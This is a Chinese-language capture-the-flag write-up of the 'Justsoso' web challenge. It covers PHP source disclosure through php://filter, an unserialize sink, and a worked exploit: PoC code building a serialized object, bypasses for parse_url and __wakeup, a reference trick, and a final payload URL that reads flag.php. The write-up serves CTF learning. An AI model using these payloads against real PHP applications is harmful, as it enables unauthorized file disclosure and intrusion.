April 27th 2019, 12:00:00 pm
Web - Justsoso
使用php伪协议读到hint和index的源码:
/index.php?file=php://filter/read=convert.base64-encode/resource=hint.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php error_reporting(0); $file = $_GET["file"]; $payload = $_GET["payload"]; if (!isset($file)) { echo 'Missing parameter' . '<br>'; } if (preg_match("/flag/", $file)) { die('hack attacked!!!'); } @include ($file); if (isset($payload)) { $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'], $query); foreach ($query as $value) { if (preg_match("/flag/", $value)) { die('stop hacking!'); exit(); } } $payload = unserialize($payload); } else { echo "Missing parameters"; } ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php class Handle { private $handle; public function __wakeup() { foreach (get_object_vars($this) as $k => $v) { $this->$k = null; } echo "Waking upn"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct() { $this->handle->getFlag(); } } class Flag { public $file; public $token; public $token_flag; function __construct($file) { $this->file = $file; $this->token_flag = $this->token = md5(rand(1, 10000)); } public function getFlag() { $this->token_flag = md5(rand(1, 10000)); if ($this->token === $this->token_flag) { if (isset($this->file)) { echo @highlight_file($this->file, true); } } } } ?>
|
- 分析index.php (参数file, payload都被定义)
- file参数中读到
flag
就拦截
- 使用parse_url解析当前URL的路径
- 继续匹配
flag
并拦截
- 全部通过了之后反序列化payload参数的值
class Handle:
__wakeup()
将所有变量都赋值为空
__construct($handle)
将$handle的值赋值给$this->handle
__destruct()
调用getFlag();
class Flag:
__construct($file)
将$file赋值给$this->file,token_flag,token都赋值为1-10000同一个随机数字的md5值。
getFlag()
token_flah被赋值为一个新的随机数md5值,判断token和token_flag是否一致,如果一致,再判断$this->file是否被定义,如果定义,再读取文件。即可以读取flag。
通过反序列化构造一个poc,定义$file,读取到flag。
这里有几处需要注意的地方:
- 需要绕过parse_url使
flag
字符能够被传递进来。
__wakeup()
清空了所有变量,需要绕过。
- 如何使token和token_flag的值在getFlag()处相等
这里我直接复制了参考文章里面的构造源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php class Handle{ private $handle; public function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } echo "Waking upn"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag(); } } class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); } public function getFlag(){ if(isset($this->file)){ echo @highlight_file($this->file,true); } } }
$b = new Flag("flag.php"); $b->token=&$b->token_flag; $a = new Handle($b); echo(serialize($a)); ?>
|
根据文中的方法,三个需要注意的点的绕过方法为:
- 利用parse_url解析漏洞,在域名后面的一个/改为///即可绕过
- 当成员属性数目大于实际数目时可绕过wakeup方法,也就是将poc里的:
O:6:"Handle":1:{s:...
改为 O:6:"Handle":2:{s:...
即可。
- 使用php的引用赋值,将token作为token_flag的引用,当token_flag重新被赋值时,token也会改变。
最后的poc为:
http://127.0.0.1///index.php?file=hint.php&payload=O:6:%22Handle%22:2:{s:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}
由于题目环境已经不在了,本地搭建了一下,parse_url解析漏洞复现不出来,于是只能跳过那个复现一下,如图。
题目参考